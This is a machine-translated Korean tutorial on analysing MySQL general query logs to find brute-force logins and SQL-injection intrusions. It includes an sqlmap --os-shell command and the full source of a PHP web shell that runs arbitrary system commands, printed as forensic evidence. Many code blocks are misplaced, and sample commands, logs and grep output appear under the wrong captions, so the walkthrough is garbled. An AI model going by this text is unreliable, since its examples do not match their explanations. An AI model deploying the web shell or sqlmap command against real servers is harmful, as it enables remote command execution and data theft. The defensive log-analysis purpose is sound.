> 운영 및 유지보수 > 안전 > 데이터베이스 로그를 분석하는 방법

데이터베이스 로그를 분석하는 방법

王林
풀어 주다: 2020-06-11 17:20:01
앞으로
3350명이 탐색했습니다.

데이터베이스 로그를 분석하는 방법

일반적인 데이터베이스 공격에는 취약한 비밀번호, SQL 주입, 권한 상승, 백업 도난 등이 포함됩니다. 데이터베이스 로그를 분석하여 공격 행위를 발굴하고 공격 시나리오를 추가로 복원하며 공격 소스를 추적할 수 있습니다.

1. Mysql 로그 분석

일반 쿼리 로그는 성공적인 연결과 실행된 각 쿼리를 기록할 수 있으며 이를 보안 배포의 일부로 사용하여 해커 사고 후 실패 분석 또는 조사의 기초를 제공할 수 있습니다.

1. 로그 구성 정보를 확인하세요

show variables like '%general%';
로그인 후 복사

2. 로그 파일 경로를 지정하세요

SET GLOBAL general_log = 'On';
로그인 후 복사

예를 들어 /test.php?id=1을 방문하면 다음 로그가 표시됩니다.

SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
로그인 후 복사

열별로 분석해 보겠습니다.

첫 번째 열: 시간, 시간 열, 첫 번째 열은 날짜, 마지막 열은 시와 분입니다. 이러한 SQL 문은 거의 1시에 실행되기 때문에 몇 가지 이유는 표시되지 않습니다. 같은 시간이므로 추가 시간은 기록되지 않습니다.

두 번째 열: Id는 show processlist의 첫 번째 열에 있는 스레드 ID입니다. 긴 연결과 시간이 많이 걸리는 SQL 문의 경우 실행 중인 스레드를 정확하게 확인할 수 있습니다.

세 번째 열: 명령, 작업 유형, 예를 들어 Connect는 데이터베이스에 연결하는 것이고 Query는 데이터베이스에 쿼리하는 것입니다(추가, 삭제, 확인 및 수정이 모두 쿼리로 표시됨). 일부 작업은 구체적으로 필터링할 수 있습니다.

네 번째 열: 인수, 세부 정보(예: Connect root@localhost on 은 데이터베이스에 연결한다는 의미 등)는 데이터베이스에 연결한 후 다음 쿼리 작업을 따릅니다.

2. 로그인 성공/실패

이전에 개발한 취약한 비밀번호 도구를 사용하여 사전 설정이 비교적 작습니다. 사용자 2명, 비밀번호 4개, 그룹 8개입니다.

데이터베이스 로그를 분석하는 방법MySQL의 로그 기록은 다음과 같습니다.

190604 14:46:14       14 Connect    root@localhost on
                      14 Init DB    test   
                      14 Query    SELECT * FROM admin WHERE id = 1     
                      14 Quit
로그인 후 복사

이 비밀번호 추측 프로세스에서 어느 것이 성공한지 아시나요?

블라스팅 도구를 사용하면 성공적인 비밀번호 추측 기록은 다음과 같습니다.

Time                 Id        Command         Argument
190601 22:03:20     98 Connect  root@192.168.204.1 on
        98 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
        103 Connect  mysql@192.168.204.1 on       
        103 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        104 Connect  mysql@192.168.204.1 on       
        104 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Connect  root@192.168.204.1 on       
        101 Connect  root@192.168.204.1 on       
        101 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)       
        99 Connect  root@192.168.204.1 on        
        99 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
        105 Connect  mysql@192.168.204.1 on       
        105 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Query  set autocommit=0      
        102 Connect  mysql@192.168.204.1 on       
        102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Quit
로그인 후 복사

하지만 다른 방법을 사용하면 조금 다를 수 있습니다.

Navicat for MySQL 로그인:

190601 22:03:20     100 Connectroot@192.168.204.1 on
   100 Queryset autocommit=0   
   100 Quit
로그인 후 복사

명령줄 로그인:

190601 22:14:07  106 Connectroot@192.168.204.1 on         
         106 QuerySET NAMES utf8
         106 QuerySHOW VARIABLES LIKE 'lower_case_%'         
         106 QuerySHOW VARIABLES LIKE 'profiling'         
         106 QuerySHOW DATABASES
로그인 후 복사

차이점은 데이터베이스 연결 도구마다 데이터베이스 연결을 위한 초기화 프로세스가 다르다는 것입니다. 이러한 차이를 통해 사용자가 데이터베이스에 연결하는 방법을 간단히 결정할 수 있습니다.

또한 블라스팅 도구, Navicat for MySQL, 명령줄을 사용하는지 여부에 관계없이 로그인 실패 기록은 동일합니다.

로그인 실패 기록:

190601 22:17:25  111 Connectroot@localhost on
         111 Queryselect @@version_comment limit 1
         190601 22:17:56  111 Quit
로그인 후 복사

간단한 분석을 위한 쉘 명령 사용:

어떤 IP가 폭파되고 있나요?

102 Connect  mysql@192.168.204.1 on 
102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
로그인 후 복사

폭발적인 사용자 이름 사전은 무엇인가요?

grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
     27 192.168.204.1
로그인 후 복사

로그 분석에서는 테이블 삭제, 데이터베이스 준비, 파일 읽기 및 쓰기 등과 같은 일부 민감한 작업에 특별한 주의를 기울여야 합니다.

키워드: 테이블 삭제, 함수 삭제, 테이블 잠금, 테이블 잠금 해제, load_file(), outfile로, dumpfile로.

민감한 데이터베이스 테이블: SELECT * from mysql.user, SELECT * from mysql.func


3. SQL 인젝션 침입 흔적

SQL 인젝션 취약점을 악용하는 과정에서 sqlmap의 --os-를 사용해 보겠습니다. shell 실수로 셸에서 매개변수를 얻은 경우 sqlmap에 의해 생성된 일부 임시 테이블과 사용자 정의 함수가 남을 수 있습니다. 먼저 sqlmap os-shell 매개변수의 사용법과 원리를 살펴보겠습니다.

1. SQL 주입 지점을 구성하고 Burp가 포트 8080

grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -
nr     13 mysql     12 root      1 root      1 mysql
로그인 후 복사

을 수신하도록 활성화합니다. HTTP 통신 프로세스는 다음과 같습니다.

데이터베이스 로그를 분석하는 방법 임시 파일 tmpbwyov.php를 생성하고 이 트로이 목마에 액세스하여 시스템 명령을 실행한 후 페이지 표시로 돌아갑니다.

sqlmap.py  -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080
로그인 후 복사

임시 테이블에 데이터를 쓰는 시스템 명령을 실행하는 저장 프로시저를 호출하여 임시 테이블 sqlmapoutput을 만든 다음 임시 테이블에서 데이터를 가져와 프런트 엔드에 표시했습니다.

웹사이트 디렉터리에서 최근 생성된 의심 파일을 확인하면 SQL 인젝션 취약점 공격이 발생했는지 확인할 수 있습니다.

확인 방법:

1. 웹사이트 디렉터리에 일부 트로이 목마 파일이 있는지 확인:

데이터베이스 로그를 분석하는 방법2. UDF 권한 상승 및 MOF 권한 상승 흔적이 있는지 확인

. 디렉토리

tmpbwyov.php:
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set(&#39;max_execution_time&#39;,0);$z=@ini_get(&#39;disable_functions&#39;);if(!empty($z)){$z=preg_replace(&#39;/[, ]+/&#39;,&#39;,&#39;,$z);$z=explode(&#39;,&#39;,$z);$z=array_map(&#39;trim&#39;,$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f(&#39;system&#39;)){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f(&#39;proc_open&#39;)){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f(&#39;shell_exec&#39;)){$w=shell_exec($c);}elseif(f(&#39;passthru&#39;)){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f(&#39;popen&#39;)){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f(&#39;exec&#39;)){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre class="brush:php;toolbar:false">".$w."
로그인 후 복사
";?>`

기능 삭제 여부 확인

mysqllibpluginc:/windows/system32/wbem/mof/
로그인 후 복사

3. 웹 로그 분석과 결합됩니다.

추천 튜토리얼:

웹 서버 보안

위 내용은 데이터베이스 로그를 분석하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
원천:secpulse.com
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿